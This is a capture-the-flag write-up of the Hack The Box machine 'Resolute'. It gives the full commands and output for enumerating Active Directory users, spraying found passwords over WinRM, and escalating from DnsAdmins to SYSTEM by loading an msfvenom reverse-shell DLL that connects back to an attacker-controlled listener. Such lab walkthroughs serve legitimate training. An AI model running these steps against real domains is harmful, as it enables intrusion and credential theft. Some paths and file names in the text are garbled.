Resolute - Hack The Box

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hackthebox
Author

0xPThree

Published

December 13, 2019

“Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry’s standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum.”

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  1. root@p3:/opt/htb/machines/resolute# nmapAutomatorDirb.sh 10.10.10.169 All PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open adws 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open winrm 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49671/tcp open msrpc Microsoft Windows RPC 49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc Microsoft Windows RPC 49688/tcp open msrpc Microsoft Windows RPC 49909/tcp open msrpc Microsoft Windows RPC 49926/tcp open unknown

    PORT STATE SERVICE 53/udp open domain? | fingerprint-strings: | DNS-SD: | _services | _dns-sd | udp | local | sybaseanywhere: | CONNECTIONLESS_TDS 123/udp open ntp NTP v3 389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)

    DOMAIN: megabank.local

  2. Enum domain users with rpcclient root@p3:/opt/htb/machines/resolute# rpcclient -U “” resolute.htb Enter WORKGROUP's password: rpcclient $> enumdomusers user:[Administrator] rid:[0x1f4] user:[Guest] rid:[0x1f5] user:[krbtgt] rid:[0x1f6] user:[DefaultAccount] rid:[0x1f7] user:[ryan] rid:[0x451] user:[marko] rid:[0x457] user:[sunita] rid:[0x19c9] user:[abigail] rid:[0x19ca] user:[marcus] rid:[0x19cb] user:[sally] rid:[0x19cc] user:[fred] rid:[0x19cd] user:[angela] rid:[0x19ce] user:[felicia] rid:[0x19cf] user:[gustavo] rid:[0x19d0] user:[ulf] rid:[0x19d1] user:[stevie] rid:[0x19d2] user:[claire] rid:[0x19d3] user:[paulo] rid:[0x19d4] user:[steve] rid:[0x19d5] user:[annette] rid:[0x19d6] user:[annika] rid:[0x19d7] user:[per] rid:[0x19d8] user:[claude] rid:[0x19d9] user:[melanie] rid:[0x2775] user:[zach] rid:[0x2776] user:[simon] rid:[0x2777] user:[naoki] rid:[0x2778]

    Using queryuser, only Administrator has a logon_count higher then 0. However we find credentials in the description for user Marko Novak (marko:Welcome123!)

    rpcclient $> queryuser 0x457 User Name : marko Full Name : Marko Novak Description : Account created. Password set to Welcome123!

  3. Using evil-winrm we are unable to login with the found credentials. Maybe there’s another user with the same password. Enumerate this using msf module scanner/winrm/winrm_login and user-list of all found users.

    msf5 auxiliary(scanner/winrm/winrm_login) > run [-] 10.10.10.169:5985 - LOGIN FAILED: megabank.local:Welcome123! (Incorrect: ) .. [-] 10.10.10.169:5985 - LOGIN FAILED: megabank.local:Welcome123! (Incorrect: ) [+] 10.10.10.169:5985 - Login Successful: megabank.local:Welcome123! [-] 10.10.10.169:5985 - LOGIN FAILED: megabank.local:Welcome123! (Incorrect: ) –

    We got a match! User melanie has the password Welcome123!

  4. Login as melanie with evil-winrm and grab user.txt

    root@p3:/opt/htb/machines/resolute# evil-winrm -i 10.10.10.169 -u melanie -p Welcome123!

    Evil-WinRM PS C:> whoami megabank Evil-WinRM PS C:> cat user.txt 0c3b****************************

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  1. Enumerating within the box we find following dirs under C:, however we don’t have access to any of them. Evil-WinRM PS C:> dir Directory: C: Mode LastWriteTime Length Name —- ————- —— —- d—– 9/25/2019 10:43 AM Administrator d—– 12/4/2019 2:46 AM melanie d-r— 11/20/2016 6:39 PM Public d—– 9/27/2019 7:05 AM ryan

  2. Under C: we find a hidden directories PSTranscripts\20191203 and within a .txt-file containing user ryan’s credentials. Evil-WinRM PS C:\20191203> type PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt ********************** Command start time: 20191203063515 ********************** PS>CommandInvocation(Invoke-Expression): “Invoke-Expression” >> ParameterBinding(Invoke-Expression): name=“Command”; value=“cmd /c net use X: \fs01ryan Serv3r4Admin4cc123!

    if (!\(?) { if(\)LASTEXITCODE) { exit $LASTEXITCODE } else { exit 1 } }” >> CommandInvocation(Out-String): “Out-String” >> ParameterBinding(Out-String): name=“Stream”; value=“True” ********************** Windows PowerShell transcript start Start time: 20191203063515 Username: MEGABANK RunAs User: MEGABANK Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 ********************** ********************** Command start time: 20191203063515 ********************** PS>CommandInvocation(Out-String): “Out-String” >> ParameterBinding(Out-String): name=“InputObject”; value=“The syntax of this command is:” cmd : The syntax of this command is: At line:1 char:1

    • cmd /c net use X: \fs01ryan Serv3r4Admin4cc123!
    • ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    • CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
    • FullyQualifiedErrorId : NativeCommandError cmd : The syntax of this command is: At line:1 char:1
    • cmd /c net use X: \fs01ryan Serv3r4Admin4cc123!
    • ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    • CategoryInfo : NotSpecified: (The syntax of this command is::String) [], RemoteException
    • FullyQualifiedErrorId : NativeCommandError ********************** Windows PowerShell transcript start Start time: 20191203063515 Username: MEGABANK RunAs User: MEGABANK Machine: RESOLUTE (Microsoft Windows NT 10.0.14393.0) Host Application: C:.exe -Embedding Process ID: 2800 PSVersion: 5.1.14393.2273 PSEdition: Desktop PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.14393.2273 BuildVersion: 10.0.14393.2273 CLRVersion: 4.0.30319.42000 WSManStackVersion: 3.0 PSRemotingProtocolVersion: 2.3 SerializationVersion: 1.1.0.1 **********************

    NOTE: Creds - ryan:Serv3r4Admin4cc123!

  3. Login in as ryan and looking on his group membership we find that he’s a part of DnsAdmins. Reading about this group there are a “feature” that allows privesc from DnsAdmin to Domain Admin - using malicious dll’s. Evil-WinRM PS C:> whoami /all USER INFORMATION —————-

    User Name SID ============= ============================================== megabankS-1-5-21-1392959593-3013219662-3596683436-1105

    GROUP INFORMATION —————–

    Group Name Type SID Attributes ========================================== ================ ============================================== =============================================================== .. MEGABANKGroup S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group MEGABANKAlias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group ..

  4. Confirm the architecture and then create your .dll using msfvenom. Evil-WinRM PS C:> $env:PROCESSOR_ARCHITECTURE AMD64

    root@p3:/opt/htb/machines/resolute# msfvenom –platform=windows -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4400 -f dll -o plugin.dll No encoder or badchars specified, outputting raw payload Payload size: 460 bytes Final size of dll file: 5120 bytes root@p3:/opt/htb/machines/resolute# cp privesc64.dll /srv/pub-share/ root@p3:/opt/htb/machines/resolute# chmod 777 /srv/pub-share/privesc64.dll

    NOTE: You NEED high privs on the .dll-file else it wont work.

  5. Setup a local listener, load the dll on the victim, and restart the dns service. Evil-WinRM PS C:> dnscmd.exe \Resolute /Config /serverlevelplugindll \10.10.14.3-share64.dll Registry property serverlevelplugindll successfully reset. Command completed successfully.

    Evil-WinRM PS C:> sc.exe \Resolute stop dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0

    Evil-WinRM PS C:> sc.exe \Resolute start dns SERVICE_NAME: dns TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0 PID : 3500 FLAGS :

    root@p3:/opt/scanners/linux# nc -lvnp 4400 listening on [any] 4400 … connect to [10.10.14.3] from (UNKNOWN) [10.10.10.169] 49941 Microsoft Windows [Version 10.0.14393]

    1. 2016 Microsoft Corporation. All rights reserved.

    C:>whoami nt authority C:>type C:.txt e1d9****************************

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DnsAdmin https://adsecurity.org/?p=4064 http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise https://www.youtube.com/watch?v=JyZB2XLLPTc http://www.abhizer.com/windows-privilege-escalation-dnsadmin-to-domaincontroller/

MSFVenom https://liberty-shell.com/sec/2018/02/10/msfv/